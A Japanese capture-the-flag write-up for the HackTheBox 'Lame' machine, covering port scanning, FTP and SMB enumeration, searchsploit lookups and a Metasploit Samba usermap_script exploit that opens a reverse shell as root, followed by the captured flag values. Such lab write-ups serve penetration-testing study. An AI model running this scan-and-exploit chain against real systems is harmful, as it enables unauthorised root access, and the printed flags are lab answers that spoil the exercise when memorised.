0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

HackTheBox「Lame」マシンのWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.10.3 -oN nmap_result
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.116
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m26s, deviation: 2h49m45s, median: 24s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-06-25T07:56:47-04:00

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 2.3.4
22 ssh OpenSSH 4.7p1
139 NetBIOS smbd 3.X - 4.X
445 NetBIOS smbd 3.0.20-Debian

FTPへAnonymousログインが許可されていると分かったのでログインしてみましたが、特に何もありませんでした。

$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /
ftp> ls
229 Entering Extended Passive Mode (|||22742|).
150 Here comes the directory listing.
226 Directory send OK.

該当のバージョンで脆弱性を探すとPoCが見つかりました。

$ searchsploit vsftpd 2.3.4
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution                                          | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                             | unix/remote/17491.rb
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Metasploitから攻撃を試みましたが、成功しませんでした。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

SMBの列挙を行います。

$ enum4linux -a 10.10.10.3

//10.10.10.3/tmpへアクセスできそうです。

[+] Attempting to map shares on 10.10.10.3
//10.10.10.3/print$     Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.3/tmp        Mapping: OK Listing: OK Writing: N/A
//10.10.10.3/opt        Mapping: DENIED Listing: N/A Writing: N/A

Anonymousでログインし、中身を見ましたが特に攻撃に使えそうなものはありませんでした。
恐らくlinpeas.shは他の人が置いたもの。

smb: \> ls
  .                                   D        0  Tue Jun 25 10:19:31 2024
  ..                                 DR        0  Sat Oct 31 02:33:58 2020
  tmp.UIwQO26555                      R       22  Tue Jun 25 09:52:54 2024
  linpeas.sh                          R   847920  Fri Jan 19 15:17:16 2024
  .ICE-unix                          DH        0  Tue Jun 25 06:53:33 2024
  5571.jsvc_up                        R        0  Tue Jun 25 06:54:37 2024
  vmware-root                        DR        0  Tue Jun 25 06:53:45 2024
  .X11-unix                          DH        0  Tue Jun 25 06:54:00 2024
  .X0-lock                           HR       11  Tue Jun 25 06:54:00 2024
  vgauthsvclog.txt.0                  R     1600  Tue Jun 25 06:53:31 2024

SMBの脆弱性を検索するとヒットしました。

$ searchsploit Samba 3.0.20 
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                             | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)   | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                              | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                      | linux_x86/dos/36741.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)を試みます。

Metasploitで攻撃を実行するとrootのシェルを取得できました。

msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.116:4444 
[*] Command shell session 1 opened (10.10.14.116:4444 -> 10.10.10.3:34785) at 2024-06-25 10:42:38 -0400
whoami
root

/home/makis/user.txtからフラグを入手します。

cat /home/makis/user.txt
2a32e3444b7c0a866ac38c0ce2c87776

Root Flag

/root/root.txtからフラグを入手します。

cat /root/root.txt
e18a81da5a35af3eceabf1e85defbc7c
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?